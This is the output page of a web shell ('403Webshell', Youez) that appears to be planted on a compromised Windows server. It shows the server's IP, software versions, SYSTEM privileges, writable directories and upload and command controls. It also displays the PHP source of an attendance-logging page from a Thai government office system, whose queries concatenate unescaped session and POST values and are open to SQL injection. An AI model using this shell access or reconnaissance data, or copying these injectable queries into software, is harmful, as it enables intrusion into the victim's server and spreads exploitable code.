403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2566/modules_22222/calendarswork/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2566/modules_22222/calendarswork/add.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<link href="style_p.css" rel="stylesheet" type="text/css" />
<?
if($_GET[op] == "calendar_add"){
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		if (!$_POST[EventDate] ){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}//ตรวจสอบมี user นี้หรือยัง
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
$arr[user] = $db->fetch($res[user]);
	$res[calendarswork] = $db->select_query("SELECT id FROM ".TB_CALENDARSWORK." WHERE date_event='".$_POST[EventDate]."' and person='".$arr[user][id]."' ");
	$rows[calendarswork] = $db->rows($res[calendarswork]); 
	$db->closedb ();
		if($rows[calendarswork]){
			echo "<script language='javascript'>" ;
			echo "alert('คุณลงเวลาแล้ววันนี้')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
} 
		
			$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
			$db->add_db(TB_CALENDARSWORK,array(
					"person"=>"".$_POST[PERSON]."",
					"work"=>"".$_POST[WORK]."",
					"p_work"=>"".$_POST[P_WORK]."",
					"date_event"=>"".$_POST[EventDate]."",
					"timeout"=>"".$_POST[times]."",
					"post_date"=>"".TIMESTAMP.""
				));
			$nums=$_POST[num];
			$is=1;
			for($i=1;$i<$nums;$i++){
				$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
						$Date=date($_POST[EventDate]); // วันปัจจุบัน สมมุติว่าวันที่ 2006-01-25
						$DateUpdate =date("Y-m-d", strtotime("+$is day",strtotime($Date))); // บวกไปอีก10วัน 
						$sub=$_POST[subject];
						$id=$i+1;
						$subs="".$_POST[subject]."  (วันที่ $id)";
				$db->add_db(TB_CALENDARSWORK,array(
					"person"=>"".$_POST[PERSON]."",
					"work"=>"".$_POST[WORK]."",
					"p_work"=>"".$_POST[P_WORK]."",
					"date_event"=>"".$_POST[EventDate]."",
					"timeout"=>"".$_POST[times]."",
					"post_date"=>"".TIMESTAMP.""
				));
				$is++;
			} 

	
			$ProcessOutput .= "<BR><BR>";
			$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
			$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลงเวลามาปฏิบัติราชการ เรียบร้อยแล้ว</B></FONT>";
			$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=calendarswork&file=person\">";
			$ProcessOutput .= "</CENTER>";
			$ProcessOutput .= "<BR><BR>";
		
	echo $ProcessOutput ;
	}
}
else if($_GET[op] == ""){
?>

<script type="text/javascript" src="datepicker.js"></script>
	<TABLE cellSpacing=0 cellPadding=0 width=100% border=0 background="images/1234.jpg">
      <TBODY>
        <TR>
          <TD align="center" vAlign=top>
					<BR>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
$arr[user] = $db->fetch($res[user]);
?>
<form NAME="myform" METHOD=POST ACTION="?name=calendarswork&file=add&op=calendar_add">
<table width="750" height="438" >
  <tr> 
    <td width="250" height="20"  align="right" valign="top"><B>&nbsp;&nbsp;<IMG SRC="images/icon/calendar.gif" BORDER="0" ALIGN="absmiddle">&nbsp;&nbsp; ลงเวลาปฏิบัติราชการ</B>&nbsp;&nbsp;ของ &nbsp;&nbsp;</td>
    <td width="500" align="left" valign="top">
		<input type="hidden" NAME="PERSON"value="<?=$arr[user][id];?>"><b> <?=$arr[user][category_name];?></b>
	<input type="hidden" NAME="WORK"  value="<?=$arr[user][work];?>">
	<input type="hidden" NAME="P_WORK"  value="มาปฏิบัติราชการ">
	</td>
  </tr>
  <tr> 
    <td  align="right" height="20" valign="top"><b>ว/ด/ป :</b></td>
    <td  align="left" valign="top">
	<input type="hidden"  name="EventDate"  id="EventDatedate" value="<?=date('Y-m-d ')?>"/>
			<?
     $thaiweek=array("วันอาทิตย์","วันจันทร์","วันอังคาร","วันพุธ","วันพฤหัส","วันศุกร์","วันเสาร์");

     $thaimonth=array("มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","      มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");

     echo $thaiweek[date("w")] ,"ที่",date(" j "), $thaimonth[date(" m ")-1] , " พ.ศ. ",date(" Y ")+543;
     // ผลลัพธ์จะได้ดังนี้ครับ วันเสาร์ที่ 26 กันยายน พ.ศ. 2552
?>
	</td>
  </tr>
  <tr> 
    <td  align="right" height="20" valign="top"><strong>เวลา :</strong></td>
    <td align="left" valign="top">
<input type="hidden"  NAME="times" id="date" value="<?=date('H.i')?> น."/><?=date('H.i')?> น.
	</td>
  </tr>
 
  <tr> 
    <td align="right" valign="top"><strong></strong></td>
    <td align="left" valign="top">
<input type="submit" value="<<:บันทึกลงเวลา:>>" name="submit">
	</td>
  </tr>
 
</table>
</form>
<?
	echo $ProcessOutput ;
}
?>
					</TD>
				</TR>
			</TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit